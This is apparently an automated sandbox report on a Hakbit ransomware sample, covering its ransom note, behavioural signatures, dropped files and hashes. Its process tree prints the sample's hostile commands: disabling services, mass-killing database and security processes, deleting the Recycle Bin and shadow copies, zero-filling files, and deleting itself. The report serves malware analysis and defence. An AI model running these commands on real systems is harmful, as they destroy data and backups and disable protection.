Analysis

  • max time kernel
    96s
  • max time network
    105s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250610-en
  • resource tags

    arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17/06/2025, 23:14

General

  • Target
    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
  • Size 80KB
  • Sample250617-28f92aspx3
  • SHA256 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

  • hakbit

Ransom Note
  • To recover your data contact the email below [email protected] Key Identifier: ayyYVPnESjoLlEH1wkf7N4aK7CAELquRp+QH3O2x8UXGUoCGksGL26MU1pIjJoOq8EGv7v9qNuc4d/264CnqOBtlQBK3osQ5bBGuJx578Ppo8bBVaf5yf2tdnY5I46px3d1s4t1uqp3cout2sES36hjncHutvRPE50blUIK4brd0tnZiACvyqW+Q1LsSGQEtj8mN9ZoEO5zMKIZ+1gasycwhSRl1oNUFMDncSJ4U4OFdULMkKJLMGWmkewL3ojZG0v0fxbeDAHE5Ivb6qMfcHV6fH3P9TVxifd5BY/G2Dym+tJfhtnA51K2Lr+qv2thbR8uFdRcboODrxz0cAHcua+lISyypEyarssjWVSBRCb8SoRabYKj9sihqpoeU5u78Dsf85tF8vSuoE7kwKA1tYwuV2q5KXfZegtzbNbBozOGizu8T1fWqVUOUmf4nuwp3JPE+zEc+hx1w8gKQ3xussh6/E92mEs16MVnI3kxXahJokk2dCdINJGrVMgICFGMzNvh9JALrOtKoGkw9LeYcC+bYHRJlviaWm10wJ9HBK5GHT7eK5v9r73fht4E1hiWRnpDN1i6LCVvUQmzMhVyy8ikn4+XLgMyySdrbrxXsjw1dptb5Txe6JL/Xc8RNYb3yDInrINvWLmqNjNuaFarXvJDE9rWZB5IsIm0aSzCoW34= Number of files that were processed is: 433

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Hakbit family
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:5928
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:3828
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:4300
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1136
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2364
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:4688
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3688
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1824
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5496
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqbcoreservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2492
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM firefoxconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3880
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4220
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4072
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1164
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4760
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3532
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:948
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5236
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3940
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1216
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5704
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3792
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5156
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:3644
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2236
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3784
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4860
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1860
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6116
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4200
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2428
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6120
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1316
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3004
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4508
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5904
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5672
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5336
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4980
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4988
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4972
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5252
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4948
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5040
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4744
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5056
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4420
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4424
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4440
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:6440
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:6488
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:6568
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:6636
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
          2⤵
            PID:4140
            • C:\Windows\system32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:4916

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                edbtmp.log

                • Path C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
                • Size 1.3MB
                • SHA256 825b0a0e32f5c5ff774bebe764ee89b8228ded4da39f0f211d1515ef01bf4bad
                • MD5 SHA1 SHA512 SSDEEP

                windowsdesktop-runtime-7.0.16-win-x64.msi

                • Path C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
                • Size 28.8MB
                • SHA256 2f9eac111a482d568594048ef474be1bf788b71d9901872347417822a0c70918
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
                • Size 804KB
                • SHA256 173bc12e03886629b5de91685222684f6dcdc4305901120d2bd447cec21a92a4
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-runtime-6.0.27-win-x64.msi

                • Path C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
                • Size 25.7MB
                • SHA256 0152d2195c2d2faffaea7d5f4a24c56c2079313673cf3d88c0b49d436b48fe2e
                • MD5 SHA1 SHA512 SSDEEP

                vc_runtimeAdditional_x86.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
                • Size 180KB
                • SHA256 235ef932d39cbb0fbddd7e2ee5434adb142f70d660ceb689c58eaf00a37f0b88
                • MD5 SHA1 SHA512 SSDEEP

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_g3spvi31.qen.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3spvi31.qen.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                HOW_TO_DECYPHER_FILES.txt

                • Path C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                • Size 828B
                • SHA256 0ff85b42762254937a9a1a57eafeaedd85980b415899d0c33bfc93a8402111fe
                • MD5 SHA1 SHA512

                memory/4440-25-0x0000023D292C0000-0x0000023D292E2000-memory.dmp

                memory/4816-0-0x00007FF86FEF3000-0x00007FF86FEF5000-memory.dmp

                memory/4816-3-0x00007FF86FEF0000-0x00007FF8709B2000-memory.dmp

                memory/4816-356-0x00007FF86FEF3000-0x00007FF86FEF5000-memory.dmp

                memory/4816-394-0x00007FF86FEF0000-0x00007FF8709B2000-memory.dmp

                memory/4816-1-0x00000000007E0000-0x00000000007FA000-memory.dmp

                memory/4816-556-0x00007FF86FEF0000-0x00007FF8709B2000-memory.dmp